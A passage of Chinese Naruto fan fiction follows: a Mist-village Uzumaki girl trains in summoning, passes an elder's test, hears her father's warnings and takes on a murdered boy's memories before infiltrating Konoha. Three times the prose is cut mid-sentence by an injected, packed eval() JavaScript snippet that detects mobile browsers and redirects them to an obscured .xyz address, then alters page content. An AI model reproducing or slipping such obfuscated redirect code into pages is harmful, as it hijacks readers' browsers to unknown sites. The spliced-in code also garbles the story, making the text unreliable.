而漩涡一族的族人和封印术就是人柱力最好的材料,也正因此,漩涡一族才在十几年前迎来灭顶之灾。 在漩涡一族覆灭数年前,木叶村为了获得接替的九尾人柱力容器,从漩涡一族迎来了拥有特殊查克拉的漩涡玖辛奈。 漩涡玖辛奈的查克拉在封印一道上有特殊的加成,加上漩涡一族代代相传的封印术,可以封印九尾而不担心其暴走。 但是,在漩涡一族覆灭的今天,除了漩涡玖辛奈未来的孩子,再没有其他人柱力容器可供使用。 因此,他们必然会重视我——另一名漩涡一族遗孤的存在。 “玖辛奈去木叶之前,我也和她打过交道。你作为漩涡一族百年一出的天才,未来绝对不会输于玖辛奈,还很可能超过她。木叶村大概率会把你当作九尾人柱力的备用品,以防不测。至于如何让漩涡玖辛奈遭受重伤,从而让你有机会成为九尾人柱力,由雾隐村负责。” 在妈妈说话的过程中,我也理清了逻辑。在村子里成为三尾人柱力,必须要接受村子的监督和看守,一举一动都被人监视着,这样下来定然无法实现摧毁雾隐村这个目标。哪怕我佯装无法控制三尾暴走,随时都会有一大批人过来压制我,很难对村子造成大的打击。 但如果前往木叶获取九尾,并习得飞雷神之术,我拥有超高机动力和尾兽之力,可以在雾隐村的视线之外挨个对雾隐的忍者进行斩首。 这是雾隐忍者的一贯做法,与其正面迎敌,不如隐藏起来一击致命。 明明我已经弄清妈妈接下这个S级任务的理由,不知为何,我的心里却有些空落落的。是因为即将长期离开妈妈,离开这个家吗? 但为了让妈妈实现夙愿,让妈妈展露笑颜,哪怕代价是离开妈妈,我也会坚定地为她付出。 和往常一样,我朝她发誓:“我一定会完成任务,顺利归来。” 妈妈习以为常地点点头:“接下来,我向你讲解潜入木叶村的注意事项。” 我注意到妈妈提及的漩涡玖辛奈,问道:“妈妈,木叶村的漩涡玖辛奈也是漩涡一族的族人,她会认出我是你的女儿吗?” “不会。” “是因为你们在涡潮村只偶尔见过几面?”我猜她们大概是同为漩涡一族的点头之交。 妈妈轻描淡写地说:“比那亲密一些。我们的母亲是姐妹。” 她没有深入说下去,而是继续讲起其他东西。接下来除了吃饭时间,她都向我传达着木叶村的情报,直到太阳西沉,夜幕升起,月亮透过窗户投下银白的光晕,到了上床入睡的时间。 不停摇摆的枝叶在窗帘上映出群魔乱舞的影子,尽管窗户紧闭,我仍能听见呼啸的狂风和风刮过树枝的哗哗作响。 虽说已经开春,夜间依旧寒冷,包裹得紧紧的被子也无法抵挡夜晚的沁凉。我对自己说,快睡吧,睡着了就暖和了,可白天妈妈的话却不停从脑海中冒出,海蛇般缠着我,让我无法入眠。 为了尽快睡着,我想象着绵羊跳过栏杆:一只羊,两只羊……不知何时,羊变成了宫田克也的人头——一个人头,两个人头,三个人头……在毕业考试时被浓雾遮掩,我无法看清的人头。 一个个飞起又落地的人头是如此的清晰,我可以看见他无神的双眼和溅上去的鲜血,还有血肉模糊的截断面。他死不瞑目的眼睛定定地盯着我,直到骨碌碌滚远,我再也看不见。 刺耳的闹钟声把我从堆得高高的人头山中惊醒,我这才发现,昨晚不知何时,我已经睡着了。 * 雾隐村不准备派人潜伏进火之国接应我,为了让我在夺得九尾后顺利脱身,高层专门派人教我学习通灵之术。 一大早,为了学习通灵之术,我和妈妈来到海边。 海风带来腥咸的气息,一波波浪潮哗啦啦涌上沙滩又层层褪去,留下泥泞的滩涂。远处一群军舰鸟正飞舞盘旋,鸟群下方有阴影在海面下游动。不时有飞鱼破水而出,溅起几蓬白色的浪花,但滑行没多远,就被俯冲而下的军舰鸟用喙叼住,吞吃入腹。 为了躲避海中的天敌,飞鱼进化出飞行的能力;但哪怕逃离大海,天空也并不自由,照样有严阵以待的捕食者。 不再关注大海和它的生灵,我走到不远处一个陌生的雾隐忍者身边。他只比我高了一个头,面容很是年轻,看起来没比我大几岁。 妈妈朝我介绍说:“这是今天带你学习通灵之术的忍者,枸橘矢仓。” 我向他鞠躬行礼:“矢仓前辈,今天还请您多多关照。” 枸橘矢仓上下打量我一番:“虽说早知道年龄,但实际一看,果然不过是一个小屁孩而已。” 他把雾隐村的通灵卷轴递给我:“我可不会因为你年纪小就关照你,通灵之术学不会就往死里学吧!” 明明你也没比我大多少……我接过卷轴,对他说道:“谢谢枸橘前辈的教诲,我一定会拼尽全力,施展通灵之术。” “切。”枸橘矢仓不满地啧了一声,“这么一板一眼,真是无趣。” 我把卷轴摊开,咬破手指,在卷轴上用血签下名字,并按下指印。 此前,我一向是通过水遁忍术和体术作战,从没接触过通灵之术。村里派专人来教学,也有一个原因是想知道我在通灵之术上的天赋。如果我没有通过通灵之术逃离木叶村的可能,村里会重新考虑是否让我接下任务。 这实在是无用的担心。漩涡一族的封印术,从一开始就和时空间忍术紧密联系在一起。尽管获得了一部分关于封印术的卷轴,但雾隐村的研究,到现在也只是依葫芦画瓢,并没有触碰到封印术的本质。 沿着沙滩一直走到海里,我将血液涂抹在右手手腕,双手结印:亥-戌-酉-申-未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375511|184034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,往海面一拍,鲜血涌出,通灵之术的符文往外扩大延展成阵。 【通灵之术!】 轰!伴随着剧烈的声响,我踩着的土地猛然向上升起,周围迸溅起的水珠宛如逆流的暴雨般射向天空。待水珠哗啦重新落回海里,我站起来擦干眼睛,发现自己站在一只巨大的鲸鲨身上。因为我往海里走得不深,鲸鲨的半个身子都露在海面之上。它搁浅了。 转过身,我看到枸橘矢仓一脸目瞪口呆,而妈妈脸上是掩盖不住的笑意。 “看来普通的通灵之术没有再练习的必要,可以学习进阶的其他忍术了。”枸橘矢仓表情很快平静下来,双手抱臂评估道。 他朝我喊道:“凉纪,解开通灵术吧。” 我朝他点点头。 【通灵之术·解!】 倏地,身下的鲸鲨消失不见,我从空中落到海面,砰地砸起冲天浪花。 走到妈妈身边,我安静地听着妈妈和枸橘矢仓交谈。枸橘矢仓对妈妈说:“以她展现出的查克拉量,说不定能够完全抑制三尾。这样一来,去木叶村潜伏反而风险更大,还不如让她留在村子。” 妈妈苦笑:“漩涡一族的族人也不是每个人都会全部封印术。我在涡潮村的时候,没有学习四象封印,毕竟那是专供人柱力的,对于不是人柱力的我,没有学习的必要。没有四象封印,以村里现在的技术,哪怕漩涡一族查克拉多一些,最后也逃不过暴走的结局。而目前只有木叶村,有四象封印这个术式。” 听了妈妈的话,小小的愉悦在我心头泛起。原来,妈妈愿意让我离开村子去木叶村潜伏,也有担心缺乏封印术,三尾在我体内暴走的原因。 枸橘矢仓叹了口气:“既然须具流和你都已经下定决心,我也不好再多说什么。离开这个村子,对凉纪来说也不是坏事。” 妈妈朝他鞠躬致意:“今天多谢您,接下来也要麻烦您了。” 枸橘矢仓摸了摸后脑勺,无奈地笑笑:“这本来就是我应该做的,须具流老师需要我的时候,我怎么会不帮他呢。” 我悄悄看着他。他提到了爸爸的名字。这个人,是爸爸的学生吗? 他朝我眨眨眼:“凉纪,今天表现得非常不错。以后也要继续保持。”一阵烟雾遮蔽了他的身形,一瞬间,他就不见了。不过,通过神乐心眼,我可以感知到,他正在用瞬身之术朝村里飞速移动。 妈妈牵着我的手朝家的方向走去。听着海浪哗哗的响声,伴随着温柔的海风,我心里莫名安定下来。 回到家,妈妈布置好防止偷窥偷听的结界术,通灵出一只游隼。“把卷轴拿给我。”妈妈对游隼吩咐道,随后解除通灵之术。不久,她再次通灵了它,这次它嘴里叼着一个卷轴。 妈妈取下卷轴,对我说:“之前我只教过你最基础的封印术,既然你要前往木叶谋划九尾,为了预防万一,我会把后续所有进阶的封印术都教给你。不过,在雾忍和木叶忍者面前,你不要展示出来。” 妈妈告诉了我很多她接下来要教的封印术,其它我全都忽视了,只注意到其中一个——四象封印。 她其实会这个忍术。 妈妈欺骗了雾隐村。 在哥哥身上封印三尾时,她没有使用四象封印。 我明白她的理由。如果四象封印作用不大,妈妈自然不会交出这个封印术。如果四象封印真的能起作用,雾隐村就会获得稳定的三尾人柱力,妈妈更加不会交出它。 我这时才后知后觉地发现,为了在雾隐村掩饰自己的夙愿,妈妈一直戴着谎言编织成的假面示人。 但妈妈在我面前说的都是真话。只是我擅自误解她。 一时间,欢喜和悲伤共同击中了我。 欢喜是因为妈妈从来没有欺骗过我,我见到的一直是最真实而赤裸裸的妈妈,为了梦想可以舍弃一切的妈妈。 悲伤是因为除了我之外,她对其他人永远不可能说出真话。等我离开后,她再也不能展露自己的真实。 我的思绪又飘到遥远的木叶村。我以前从来没有说过谎。但在那里,我需要像妈妈欺骗爸爸、哥哥还有其他雾隐忍者一样,戴上谎言的假面。 但这也没什么可怕的。只不过是变得和妈妈一样罢了。 4. 雾忍准则其四:忍者只是工具 “伪装测试,合格。” “忍术测试,合格。” “情报测试,合格。” 我单膝跪地,低头听着坐在前方的长老挨个念出我的测试成绩。 长老元师是个干瘦的老头,皮肤没有和肉.体同步缩水,多出的部分松垮垮地堆积在骨头上,叠出一层层的皱纹。他眼睛上的眉毛和眼皮都耷拉着,只留下一条缝。但只要被他那窄细而幽深的眼睛扫上一眼,就会知道年岁并没磨去他作为忍者的锋芒。 “从这些测试来看,你勉强拥有前往木叶潜伏的能力。但这些虽然重要,说到底不过是树的枝干。最重要的根,你知道是什么吗?” 尽管没有抬头,我仍能感觉到长老的目光打量着我,仿佛要将我刺穿。 枝干?根?这对话可能放在木叶更合适一些。这几个月在不停背诵研究木叶情报的我这样想着。 “最重要的根,是为了雾隐村舍弃一切的心。”我尽力让自己的声音满含恭敬。 “说得不错。可嘴上说说每个人都会,事到临头了,才发现自己有那么多不愿放下之物。位于雾隐村之前之物。”长老叹息道。 “在关键时刻到来前,谁也不知道自己的选择。但我的父母亲人都在雾隐村,我在雾隐村出生、生活、成长,雾隐村抚育我长大,至少现在,我的选择是为雾隐村付出一切。” “这样啊……”长老毫无意义地感叹了一句,突然问道,“你对雾隐村覆灭涡之国这件事怎么看?” 我诚心诚意地说:“那都是我出生十几年前的事了,虽然理论上我是漩涡一族的血脉,但情感上,我很难为从没见过的事物而哀恸。” “你倒是通透。”长老注视着我,继续问道,“但你的父母又如何想呢?” “母亲虽然口头上仍有怨言,但她已经融入了雾隐村的生活,对于雾隐派发的任务都尽心尽力。至于父亲,这些年他都奔波于任务途中,我很少与他见面,见面后也不会提及漩涡一族的陈年往事。” 长老用他那幽邃的眼睛打量着我,片刻后转向下一个话题:“你有没有想过,成功获取九尾之后,如何从木叶逃出来?要知道,过去云隐村曾经前往木叶抢夺人柱力容器,但仅仅是容器都没有成功。就算真的把九尾拿到手,恐怕也很难从木叶的监禁中逃离。” “正如长老所说,成为九尾人柱力后将面临木叶无休无止的监视。一个可能的方法是召唤通灵兽进入其体内,再解除通灵之术以逃离。可在木叶全方位的监视下,通灵兽一出现,或许就被木叶轰杀成渣了。如果不事先想好对策,不过是白白浪费人柱力的容器。但既然我敢于出现在长老您的面前,自然已经有了应对的方法。请允许我向您展示我新开发的通灵之术。” 在得到长老允许之后,我站起身,施展影分身之术。在我身边,出现了一个影分身。 “影分身之术?这是木叶特有的忍术吧?” “是的,这是木叶村的B级忍术。之前涡之国还在的时候,涡潮村和木叶村交流比较多,因此也有这个术的施展方法。在我妈妈来到雾隐村之后,已经把这个术上交给雾隐村了。” 我继续向长老介绍:“影分身之术不像水分身,水分身必须和本体保持近距离,而影分身对距离的限制不大。哪怕离开本体数十公里,都不会消散。这带给了我一种逃离的可能。我可以让影分身事先离开木叶,再对本体施展通灵之术。这样一来,我就可以不惊动任何人而远离木叶。等他们发现时,已经赶不及了。” 我让影分身离开到距离本体大约10米的角落。 【通灵之术!】 影分身结印后双手拍地,在通灵之术的作用下,我一瞬间传送到影分身前的符文上。 “影分身施展通灵之术?”长老用扶手撑起身子,睁大眼睛向我看来。可惜他眼睛本来就小,只不过从一条窄缝变成一条不那么窄的缝。 “施展通灵之术,需要血的契约才能达成。影分身虽然是实体,但本质为查克拉,无法施展与体.液相关联的术。你去除了这个限制?” “是的。血契的本质是通过基因精确识别契约双方,加深双方的联系,从而加强查克拉共鸣。一般来说,查克拉之间的联系较为薄弱,远不如血契,因为查克拉会随着人的成长和修炼而波动和变化。但有一个例外——人同自己的联系,比任何契约的联系都要深。 “我改良后的影分身通灵之术,因为只用来召唤自己,就不用担心联系不深的问题。只要我事先在身上刻下通灵契约术式,影分身自然也会出现同样的术式。再施展改进了查克拉流动的通灵之术,就可以把自己通灵到影分身所处的位置。” “这个成果倒是不错。”长老称赞道,“改进后忍术是多少级?” “A级,难点主要在于查克拉量与感知能力。由于影分身只有自己一半的查克拉,如果查克拉不足,别说通过影分身之术施展通灵之术,连维持影分身离开几十公里都很难做到。同时,只有具备敏锐的感知能力,才能捕捉到影分身和本体之间的共鸣。这个忍术我已经提交给村里的忍术库了。” “你可以回去了,明天上午10点,和你妈妈一起到暗部商量任务的具体细节。”长老说完,不再看我,往椅背上一靠,整个人蜷缩进靠椅里,径自打起盹来。 我朝长老俯身行了一礼:“谨遵指令。” 由我前往木叶的这个任务,终于确凿无疑地通过了。 有必要窃取九尾吗?三尾之后怎么安置?一个刚毕业的小女孩有可能完成任务吗?虽然水影大人已经颁布了这项任务,但在执行之前,这些质疑一直在雾隐村高层萦绕不去。 但既然长老已经同意,这些质疑就都可以压下去了。 想必妈妈得知这个消息后,会很高兴吧。 * 计划已经制定,但需要寻找合适的时机前往木叶。 时机来得比我想象中要快。八天后,我就接到通知,需要做好准备朝木叶出发。 因为我即将执行的是潜伏任务,不能让其他人知道,所以陪同我一起前往火之国的,不是其他人,正是我的爸爸。 我还记得很久以前,第一次见到爸爸时的情景。 那时,我发现家里突然进来一个可怕的陌生人,慌乱之下把桌上的水果刀朝这个人狠狠扔去。 哪怕年龄还很小,我也不会随便拿水果刀扔陌生人。这是因为尽管当时我还没有学习忍术,不具备神乐心眼,天生敏锐的感知能力仍让我隐隐感受到他周身黑暗而嗜血的查克拉。 染血的长刀——这是他给我的第一印象。他的身形有些瘦削,刀锋般细长的金色双眼掩盖了其他五官的存在感。长期与人厮杀的冷漠眼神、弓弦般紧绷的身姿、随时准备着进攻的动作……这些细微的不同常人之处,组成了独特的属于忍者的气质。 我看到他随手就接住了自己扔过去的刀,内心十分紧张。妈妈当时不在家,至于具体是去干什么,在我记忆里已经模糊了。这个人是要在家里做坏事吗?连人贩子这个概念都尚未具备的我,在心里模模糊糊地浮现起这个念头。我倒是没有害怕,只是死死盯住眼前的人,等待他的下一步动作。 眼前的人把水果刀轻柔地往桌上一放,倏地,他周身凌厉的气质烟消云散。他没有靠近,只是问我:“你不知道我是谁?” 我点点头。 他继续说道:“我是你爸爸。” 我没有动作,只是继续盯着他。 他叹了口气,问道:“你知道爸爸是什么吧?” 爸爸?我当然知道。抚养小孩子的人,有的是妈妈,有的是爸爸,有的两个都有。但我从来没有把爸爸这个词和我联系在一起。 我多了一个和妈妈一样的存在吗? 我继续点头,但还是目不转睛地看着他。 见我仍然警惕地望着他,那个自称是我爸爸的忍者想了想说道:“我曾经和你妈妈还有哥哥一起拍过照片,这应该能证明我的身份。” “照……片……是什么?我还有个哥哥吗?” “难不成把我和他的存在都处理掉了吗?真是狠心的女人。”爸爸小声说了一句。 “狠心”是什么?当时的我不懂它的意思,但我知道爸爸在说妈妈的坏话,立即警告他说:“不许这样说妈妈。” “意外地挺乖巧呢。”爸爸说着,朝我走过来。我愈发紧张,但他只是坐在我边上的一张椅子上。 “这样站着不累吗?你也坐吧。” 我没有听他的话,只是继续站着全神贯注地盯着他。坐下去就不方便动作了。 他饶有兴致地继续问着我:“你的名字是什么?” “凉纪。” “姓呢?” “妈妈没有告诉过我。” “我还以为你会姓漩涡。” “漩涡又是什么?” “你还真是一问三不知。”他嘲笑道。 “如果你把这些都告诉我,以后我就会知道了。”我认真地朝他解释。 他忽然朝我探过身来,我躲闪不及,只能任由他胡撸了一下我的头。 下一刻,我立即低下头从他的手下躲开,后退一步警惕地问他:“你这是干什么?” 他没有回答,只是笑道:“没想到我和她能生出这么可爱的孩子。” 可爱是个好词,我明白。于是尽管不满他突然摸自己的头,我还是向他道谢:“谢谢你的夸奖。” 他一愣,低声笑起来。 为什么要笑?我说话有什么好笑的地方吗? 我奇怪地看着他。 这是我对爸爸的第二印象。一个莫名其妙的人。 很快妈妈回来了,她看到爸爸先是一愣,然后仿佛这个人不存在般把我抱起来,走进卧室,抱着我坐在床上。 我小声问她:“他说他是我的爸爸。这是真的吗?我是不是还有一个哥哥?” “两个问题的答案都是‘是’。”妈妈回答。 我继续问:“照片是什么?漩涡又是什么?” “照片是记录人或物或风景的图像的纸。漩涡是妈妈的姓。”妈妈挨个回答我的问题。 原来是这样。得到了答案,我心满意足地依偎在她的怀里。 我还有好多问题要问,不过妈妈拍拍我的头,说道:“妈妈还有事情要处理,你先在床上待一下,等妈妈回来再说。”说罢,她起身出了卧室门,轻轻把门阖上。 等卧室门再次打开,爸爸已经不见了。 之后,爸爸也像第一次见面时一样,偶尔回来待个半天一天便离开家。他和妈妈一样喜欢考校我的忍术学习进度,每次回来都要和我对练。他得到的应该都是满意的答案,因为对练结束,我看到的都是满足的笑意。 我几乎一切都遗传自妈妈。红色的头发、漩涡一族的体质、查克拉属性、同妈妈高度相似的五官。除了虹膜的颜色,再从身上找不出别的属于爸爸的地方。不,也许我施展某个忍术的动作,残留着爸爸的痕迹。 - 坐在驶向火之国的鲸鲨身上,我和爸爸相顾无言,耳畔只有鲨鳍划过海水的声音和隐隐的浪涛声。 虽然眼前这个人从血缘上说,是我至亲的亲人,但出生以来我和他见面的机会实在太少,比起亲人,更像是陪练,还只是临时的陪练。上一次见面,还是他突然回家,告诉妈妈村里想要我成为新一任人柱力。那之后,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375512|184034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再没见面,直到今天。现在不进行忍术对练,我不知道怎么和他交谈。 忽然,爸爸开口了。他的话比长老直白多了。 “你妈妈现在还是一心想着复仇吗?” 他也想试探我吗?不过,经过锻炼,我早就可以平淡地面对这些质疑。 “妈妈有时候会说些抱怨的话,但也没有到复仇那个程度。” 爸爸笑了起来:“看来她还是把你牵连了进来。” 他是怎么知道的?刚刚的那句话应该没办法透露出这些。我维持着平静的语气:“我不知道你在说什么。” “她要么把漩涡一族的一切封印在心里,永远不提,要么对你耳提面命,让你为她的仇恨付出一切。阳真凛就是这样的人。”他没有看我,而是看着一望无垠的靛蓝大海,似乎在追忆着什么。 看爸爸的样子,应该不是对我的试探,看来我不用担心被他抓回雾隐村。 “你这样说,她以前是这么对你的么?”我问道。 “不只是我。” 爸爸侧过身面对我,摆出一副长谈的架势:“这次你的任务是成为九尾人柱力。你知道成为人柱力意味着什么吗?” 我背诵着人柱力的定义:“将尾兽封印在体内,从而可以运用尾兽庞大的力量。” “这只是最表面。成为人柱力,意味着你不再是人,而只是尾兽的容器。虽然忍者本来就是工具,但人柱力更是工具中的工具。从此,你的梦想、爱好、性格,不过是容器上的花纹,只有封装尾兽这一功能才是重要的,其他的都不值一提。” 我等待着他的下一句,但他说了这一长串后就闭口不言。我不得不问道:“然后呢?” 爸爸揉了揉太阳穴,有些疲惫地说:“是年龄太小不懂其中的含义吗?” 我奇怪地反问:“这些东西,难道不是踏入忍者之途第一天就该明白的吗?”就像我,我早就知道,自己是妈妈复仇的工具。 爸爸叹了口气:“你真的知道工具的含义吗?在你之前,你哥哥也是三尾的人柱力。” 我回道:“这个我知道。因为成为三尾的人柱力,哥哥不得不离开家,被监禁起来,从此再也不能和妈妈还有我见面。” “不止如此。人柱力如果没有对村子的忠心,不但无法成为村子的助力,反而有可能伤害村子。作为漩涡一族遗民和二代水影余孽的孩子,你哥哥的忠心天生就被怀疑。而这怀疑是正确的。你哥哥一懂事,阳真凛就开始向他灌输漩涡一族的仇恨。一旦成为三尾人柱力,他很可能在村里大肆破坏。” 二代水影余孽?我搁置了这个词,问道:“那为什么会选哥哥成为人柱力?” “之前的几任人柱力,都没过几年就失控暴走,给村子造成很大的损失。于是,村子的高层决定选择漩涡一族作为新的容器。 “但是,人柱力的忠心也是个问题。因此,村子作出了这样的决定——封印人柱力的记忆。” 封印……记忆……? 一阵怒火直冲我脑门。他们怎么可以封印哥哥的记忆?那样岂不是会忘记和妈妈相处的一切? 爸爸继续说道:“得知村子的决定后,我准备带着阳真凛还有你哥哥叛出村子。但是阳真凛拒绝了。叛出雾隐村,会面对雾隐暗杀部队连绵不绝的追杀。她复仇的愿望也只会成为空想。于是,你哥哥封印了全部记忆,只留下基本的常识,迎接自己成为尾兽容器的使命。” 我细思着爸爸的话,问道:“这一次村子打算让我接替哥哥,成为下一个人柱力,他们也准备封印我的记忆吗?” “这些年,二代水影派系不断被打压,我们只得知高层计划安排你成为三尾人柱力,至于更细节的,就很难了解了。” “也就是说,我可能失去记忆?” 我喃喃说着,又回忆起那天晚上妈妈和爸爸的对话:“我已经献出了第一个孩子,现在你又要我献出第二个?!” 妈妈争取这个任务,不只是因为想要我获得更强大的力量,成为复仇的助力,也是因为不愿意失去和我的牵绊。 我是作为妈妈复仇的工具而存活的。但作为工具的我,得知主人的不舍后,也会由衷感到喜悦和甜蜜。 爸爸扶额:“这种情况还能笑出来,真是服了你了。” 他变换了一下姿势:“有一件事,不知道阳真凛有没有和你说。人柱力抽出尾兽后,都会迎来死亡。” 这件事妈妈没有告诉我。是担心我因此而恐慌,从而拒绝任务吗?不,不是这个原因,妈妈知道,无论如何我都不会违抗她。 是因为她知道只要获得九尾,我会竭尽全力保住九尾的力量,所以没有告诉我的必要。 我又想起妈妈的话。她已经失去了一个孩子。 无论我是否成为三尾人柱力,哥哥已经失去了作为容器的功能。没有作用的工具只有被抛弃一途,他将面对抽出尾兽的命运。他会死。 虽然我从来没有见过哥哥,但还是感到淡淡哀伤。 爸爸凝视着我:“我不知道阳真凛这些年教了你什么,也不知道你内心到底是怎么想的。但作为你的父亲,我只能给你一个忠告。你是人,不是工具。不要把自己局限于他人规定的道路上。” 我正准备回话,鲸鲨停了下来。眼前是火之国海岸线上的悬崖,抬头可以看见高耸的峭壁和顶上郁郁葱葱的密林。我们抵达了目的地。 作为工具,我不关心自己的道路,也不关心自己的结局。我只关心自己能否起到作用,能否帮助妈妈达成夙愿。虽然爸爸的建议没有用处,但我仍应该对他表示感谢。 “感谢忠告。”我对爸爸说道,“闲聊结束,接下来,该认真执行任务了。” 5. 雾忍准则其五:永不放弃任务 爬上悬崖,在密林中奔袭大半天,我和爸爸抵达了目的地。 眼前是一个四面环山的小村庄,地处偏僻,普通人只能通过山腰的一条小径离开村子,去往城市所在的平原。这个地方既没有资源,也不在交通要道附近,在战火四起的今天,难得保持着和平的静谧。 不过,对于忍者来说,没有不可抵达之处。 爸爸的身影消失不见,很快又回到我所在的一个隐秘的山洞。他的腋下夹着一个红头发的小男孩。 之前涡之国覆灭,除了被雾隐村掳走的人之外,还有少部分漩涡一族逃亡世界各地,隐姓埋名生活下去。漩涡一族可以通过神乐心眼隐藏自己的查克拉,从而避免被感知忍者感知到。然而,成年人可以一直隐藏自己,没有学习过忍术的小孩子却没有这个能力。 这个被掳来的男孩,就是漩涡一族的后裔。虽然普通人的查克拉很少,难以感知,但具有忍者天赋的人,哪怕并未学习如何提取查克拉,在情绪激动的时候,偶尔也会爆发出外溢的查克拉。某天,他属于漩涡一族的查克拉,被正在测试神乐心眼最大范围的我感知到了。 因为被施展了幻术,男孩到现在还死死熟睡着。 爸爸把男孩平放在地面上,脑袋枕在事先刻画了术式的卷轴上。他将男孩的上衣褪去,在男孩身体上画上特定的封印术式,随后,爸爸开始结印施展封印术。男孩的脸色变得痛苦起来,发出低低的呻吟,隐隐幽光从封印术式和他脑后的卷轴上亮起。 差不多一个时辰之后,男孩身上的封印术式宛若有生命一般爬向他脑后的卷轴,他的脸色好了起来,露出宛如痴呆一般的天真微笑。 他的记忆全都封印到卷轴里去了。 爸爸从忍具包中抽出一根千本,插进男孩的死穴中。他就这样保持着笑容,永远睡去了。爸爸把他收进卷轴里,之后他会回到雾隐村处理男孩的尸体。 接下来要进行第二步,把他的记忆封印在我的脑海中。 我像男孩一样平躺到卷轴上。无数的封印术式好像虫群一般涌到我的脸上,又从前额没入我的大脑。记忆的洪流涌入,冲散我出生以来六年的时光。 我是这个凝神听着漩涡一族旧事的人吗?我是这个在山上捡拾柴火的人吗?我是这个在训练中遍体鳞伤的人吗?我是这个被野蜂蛰得哇哇大哭的人吗?我的母亲是这个教我医疗忍术的人吗?我的母亲是这个又好气又好笑给我拔着尾针的人吗? 不,我的妈妈只有一个!长久以来的执念宛如锁链一般,把即将融化到潮水中的记忆缠合到一起。那些在火之国山谷里小村庄的故事涌起巨浪冲向我,又散落成无力的水流,在心的谷地上平缓地流动着。 我睁开双眼,看到眼前的爸爸正半跪在地上,紧张地注视着我。 “你的名字是什么?”他沉声问。 “凉纪。”另一个人的记忆弄得我有些晕眩,我坐起身,有些疲惫地揉了揉太阳穴。 “那个人的名字又是什么?” 我这时才发现,他的名字和我很像。 “他叫良季。”我说道。 爸爸的表情霎时变得很奇怪。 是他原本就叫这个名字,还是我不知不觉把这个名字安给了记忆中的人?我没有细想。 “放心,我没有混淆自己和良季的记忆。我们只是刚好名字读起来像而已。我知道自己的妈妈是漩涡阳真凛,爸爸是天井须具流。” 爸爸叹了口气:“我也是第一次把记忆灌输到另一个人的脑子里,不知道有没有什么后遗症。” “没关系。”我安慰他说,“为了防止木叶村的记忆检查,这是必要的操作。为了夺得九尾,获取飞雷神,些许的记忆混乱,只不过是微不足道的代价。” 爸爸凝视着我,脸上是我看不懂的复杂表情。他沉声道:“我的任务已经完成。我得回雾隐村了。可能你会嫌我太啰嗦,但我还得说一句,小孩子总以为自己的坚持永不改变,但人总会成长,总会变化。等你长大后,再来决定自己一生的梦想。不要囿于你妈妈给你强加的目标。” 我从来没有对谁倾吐过自己的心声。但或许是因为马上就要分别,我忍不住和爸爸说了我的真实想法。 “为自己爱的人付出,是长大后就会改变的吗?”我问道。 爸爸一怔。 “爸爸可能以为我是因为妈妈要我帮她复仇,就被她裹挟着随波逐流。但是,如果没有内心的坚持,早在学习忍术 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375513|184034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的阶段,或许我就因为困难,痛哭流涕地放弃了。 “我的梦想不是为漩涡一族复仇,而是平息一直在灼烧妈妈内心的仇恨之火,让妈妈得到安宁和幸福。而这只有摧毁雾隐村一条途径。只要一天没有复仇成功,妈妈就一天也不能开心。为什么爸爸会觉得让妈妈展露真心的笑容这个梦想,是会随着时间改变的呢?” 他皱起眉头:“那你呢?你都是为了妈妈,但在这个过程中,你会觉得开心吗?” “也有迷茫,也有痛苦,但这些,都是必要的代价。”我毫不动摇地说。 - 爸爸回雾隐村了。回雾隐村之前,他把他会的忍术和知识都通过记忆卷轴传输给我。他说,他本来没打算这样做,因为他一直觉得妈妈和我的愿望不过是空想。获得更多力量,就意味着更早跳出来反抗雾隐村,更早被灭杀。 来火之国的路上,他一直犹豫要不要抹去我的记忆,让我无知而平静地作为普通人生存下去。但听了我的说法,他改变了主意。那样不过是把他的意愿强加给我。既然我已经决定了自己的道路,尽管他不赞同这条路的终点,他也只能作为父亲祝福我,并给予我前行的助力。 我安静地站在山洞里等待着,等待着前往木叶村的下一步行动。 没多久,我感知到七道查克拉飞掠向山脚的村庄。我听到刀刃割穿血肉的声音和村民的哀嚎。我听到土遁术的作用下泥土轰鸣而下的声音。 等到那些查克拉离开,我走出山洞,看向山脚。美丽安宁的村庄已经消失不见,只余被泥土掩埋的土地,仿佛给绿色的大地平添了一块创口。 木叶潜伏作战:第一步,获取火之国境内漩涡一族后裔的记忆,完成。 第二步,消灭所有认识他的人,完成。 最关键的第三步,被木叶村带走,尚未完成。 离开山洞,我走向原本坐落着某个叫做“三木村”的村庄的土地。大概是记忆融合的后遗症还没有完全消失,明明眼前是一片空地,我却总幻视余光里有建筑和活动的人影。 我不知道木叶的人会不会按照雾隐村的规划行动。但无论如何,我都会扮演好良季这一角色,竭尽全力达成目标,前往我所愿的终点。 6. 不要乱捡小孩 药师野乃宇第一次见到凉纪的时候,她正在挖坑。 